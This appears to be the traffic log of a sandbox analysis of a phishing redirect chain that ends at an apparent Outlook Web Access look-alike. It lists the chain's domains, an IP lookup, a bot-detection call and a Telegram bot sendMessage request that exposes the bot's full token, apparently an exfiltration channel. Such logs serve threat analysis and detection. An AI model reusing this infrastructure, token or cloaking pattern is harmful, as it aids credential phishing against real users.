Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/scripts/jsd/64912bd87b0e/main.js? HTTP/1.1Host: netro.gitcombust.shopConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/jsd/r/0.3292434525870424:1743635421:7toW2C2B06kj9_L1hsFVkQV53rYAp6gtiaVQEyDO1_I/92a40b1abed1d826 HTTP/1.1Host: netro.gitcombust.shopConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/get_doc_url HTTP/1.1Host: patnero.thesilent.deConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/redirect?expires=1743635901163&hash=37b510675cf9d2f212caef357e5ba6c64b10b1f4a8f5b79001de13668de3325b HTTP/1.1Host: patnero.thesilent.deConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ne/ HTTP/1.1Host: classntfst.shopConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/redirect?expires=1743635901163&hash=37b510675cf9d2f212caef357e5ba6c64b10b1f4a8f5b79001de13668de3325b HTTP/1.1Host: patnero.thesilent.deConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ne/ HTTP/1.1Host: classntfst.shopConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/css/19d09a6113afa007.css HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/webpack-ee7e63bc15b31913.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/framework-2c79e2a64abdb08b.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/main-de1ad41d606513c1.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/pages/_app-aea6920bd27938ca.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/186-e401717d9e8b842b.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/pages/index-c362d579fbf7a668.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/fUhIl0Hqd1aZXohaxqY8t/_buildManifest.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/fUhIl0Hqd1aZXohaxqY8t/_ssgManifest.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /background.jpg HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oka.greenthreads.hr/_next/static/css/19d09a6113afa007.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9If-None-Match: "4b5febb3fb4517a225620b5fe05016d2"If-Modified-Since: Tue, 01 Apr 2025 20:47:57 GMT
Source: global traffic	HTTP traffic detected: GET /_next/static/css/19d09a6113afa007.css HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /background.jpg HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9If-None-Match: "4b5febb3fb4517a225620b5fe05016d2"If-Modified-Since: Tue, 01 Apr 2025 20:47:57 GMT
Source: global traffic	HTTP traffic detected: GET /avatar/1f5e73c9d92416b3425a61c6b031d856?d=identicon HTTP/1.1Host: www.gravatar.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dsgfsdgf.com HTTP/1.1Host: logo.clearbit.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /avatar/1f5e73c9d92416b3425a61c6b031d856?d=identicon HTTP/1.1Host: www.gravatar.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api64.ipify.orgConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/plain, /sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://oka.greenthreads.hrSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?format=json HTTP/1.1Host: api64.ipify.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/detect_bot HTTP/1.1Host: rail-bot-production.up.railway.appConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: neat.owa-wensglotii.topConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bot7622174179:AAHCV1oWQuJrs_r4R6A1iMz0oaj3zWCQiPk/sendMessage HTTP/1.1Host: api.telegram.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: neat.owa-wensglotii.topConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "134.0.6998.36"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_page/v1?ray=92a40bda6d48440b HTTP/1.1Host: neat.owa-wensglotii.topConnection: keep-alivesec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua-platform-version: "10.0.0"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://neat.owa-wensglotii.top/?__cf_chl_rt_tk=MAIxd12HjKNRR1ggNyIkdY9y1fJl2F.Ww7aqwGm_bgU-1743635916-1.0.1.1-YPAFraGp9ThHEN5O51XxYHVmkpKgW4oqhsbj5KNAkfIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/64912bd87b0e/api.js?onload=oPhx0&render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveOrigin: https://neat.owa-wensglotii.topsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: neat.owa-wensglotii.topConnection: keep-alivesec-ch-ua-full-version-list: "Chromium";v="134.0.6998.36", "Not:A-Brand";v="24.0.0.0", "Google Chrome";v="134.0.6998.36"sec-ch-ua-platform: "Windows"sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-mobile: ?0sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "134.0.6998.36"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua-platform-version: "10.0.0"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://neat.owa-wensglotii.top/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/flow/ov1/1739920309:1743632078:pfnU86u9scmSBSucPTHJvNoIsWAyZZK--dDTMKDE_X0/92a40bda6d48440b/7vbMaJmbYFpS1XBvLF5lXbC3HhJoPWKl7XoLi6Za4ZA-1743635916-1.2.1.1-CfcYcWFGsWvL2kQ1yQqL3gQ_dqiI2deKgYCh_5mHST_5GhEM.BKbOHHlrIxNJ69c HTTP/1.1Host: neat.owa-wensglotii.topConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ala78/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=92a40be64eeb4207&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ala78/0x4AAAAAAADnPIDROrmt1Wwj/light/fbE/new/normal/auto/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
